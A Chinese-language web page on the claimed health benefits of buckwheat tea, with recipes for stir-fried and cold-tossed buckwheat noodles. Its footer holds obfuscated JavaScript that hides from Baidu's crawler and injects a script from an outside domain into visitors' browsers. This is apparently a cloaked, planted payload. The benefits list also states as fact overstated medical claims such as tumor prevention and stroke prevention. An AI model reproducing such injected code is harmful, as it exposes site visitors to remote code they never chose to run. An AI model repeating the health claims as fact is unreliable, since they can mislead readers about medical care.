當前位置:首頁 > 飲食 > 烹飪技巧 > 正文

蕎麥茶的功效 蕎麥面的做法

2016-06-21 08:11:55  來源:360常識網(wǎng)   熱度:
導(dǎo)語:蕎麥茶所含的可溶性纖維量遠高于其它禾谷類作物,其含量是稻米的4倍、小麥的2 7倍、玉米的1 1倍及甜蕎的1 6倍。膳食纖維的攝取能提供飽足感和減緩消化速度以減低食欲,避免過量進食。

蕎麥茶的功效 蕎麥面的做法

蕎麥茶的功效 蕎麥面的做法

蕎麥茶的功效

1、保護微血管,降低血脂及預(yù)防腦中風(fēng)

蕓香甙可抑制脂肪氧合酵素和前列腺素合成酶素的活性,以防止血管變得脆弱,特別是微血管。它同時具有強化血管的功能,可降低瘀傷、筋脈瘤及痔瘡的發(fā)生率,也可降血壓和血脂及預(yù)防腦中風(fēng)。

2、凈化血液、改善血液循環(huán),降低血壓

蕓香甙可抑制體內(nèi)的磷酸二酯酶的活動,避免血小板凝集。它有助凈化血液和改善血液循環(huán)。此外,它亦有保護血小板脂肪過氧化的功能,能幫助患高血壓的人士保持健康的血壓。

3、美容養(yǎng)顏,減少細紋

蕓香甙可幫助身體吸收并充分利用維生素C,也可以防止細胞受到自由基的破壞。另外,此成分亦可保持體內(nèi)的膠原蛋白水平以減少皺紋和細紋的產(chǎn)生。

4、預(yù)防糖尿病并發(fā)癥

蕎麥中同時具有一特殊化合物六磷酸肌醇,能發(fā)揮與胰島素相仿的作用,有效降低血糖。蕎麥可以防止或抑制醛糖還原酶的活動,有助延遲或預(yù)防糖尿病并發(fā)癥的發(fā)生。

5、預(yù)防膽結(jié)石,降低膽固醇

蕎麥茶的可溶性纖維也可降低膽汁的累積以避免膽石的形成。一項美國胃腸病論文顯示:攝取大量的膳食纖維可降低罹患膽結(jié)石的機率!以膠質(zhì)狀的葡萄聚糖為主的膳食纖維,能減緩體內(nèi)的葡萄糖水平在飯后快速地上升,有效預(yù)防糖尿玻另外,膳食纖維也可幫助控制體內(nèi)膽固醇的水平。

6、清除體內(nèi)垃圾,減輕體重

蕎麥茶所含的可溶性纖維量遠高于其它禾谷類作物,其含量是稻米的4倍、小麥的2.7倍、玉米的1.1倍及甜蕎的1.6倍。膳食纖維的攝取能提供飽足感和減緩消化速度以減低食欲,避免過量進食,因此,它可以幫助減輕體重。此外,它還可促進腸胃蠕動,幫助疏解便秘的問題,有助清除腸胃內(nèi)積滯之食物。

7、抗腫瘤、抗氧化

蕓香甙亦有預(yù)防直腸癌發(fā)生、抗氧化、抗發(fā)炎、抗突變、抗腫瘤的作用。

炒什錦蕎麥面的做法

主料:蕎麥面、干香菇、青菜、胡蘿卜、洋蔥;

配料:鹽、雞粉、生抽、食用油;

做法:

1:干香菇泡發(fā),洗凈去蒂切片;

2:青菜洗凈切段;

3:胡蘿卜洗凈,去皮切絲;

4:洋蔥洗凈切??;

5:做一鍋水,水開后煮面條,面條煮至八成熟撈出,放入涼水中冷卻,然后撈出控干水份,加入少許食用油拌均勻,使其互不粘連,放一旁備用;

6:炒鍋加油燒熱,下洋蔥丁煸炒出香味,放入胡蘿卜和香菇繼續(xù)煸炒,然后放入青菜,加適量鹽、雞粉、生抽調(diào)味,最后放入面條,翻拌均勻即可出鍋。

翠拌蕎麥面的做法

用料:蕎麥面、綠豆芽、黃瓜、蘋果、雞蛋、熟白芝麻、海苔、姜蒜蓉、香油、香醋、生抽、糖、辣椒油。

做法:

1:將黃瓜切成絲、綠豆芽摘去頭尾、蘋果切片、雞蛋煮熟備用;

2:鍋里加較多水燒開,放入適量蕎麥面煮4-5分鐘至熟(中途不要蓋蓋子);

3:將煮好的蕎麥面撈出,放在漏勺里用涼水沖掉泡沫面湯,然后浸泡在涼白開里(可加冰塊);

4:取姜蒜蓉、香油、香醋、生抽、糖、辣椒油拌勻成調(diào)味汁;

5:將蕎麥面撈出稍稍控干水分,加黃瓜絲、綠豆芽、調(diào)味汁拌勻,上桌前加雞蛋片、海苔、撒白芝麻即可。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}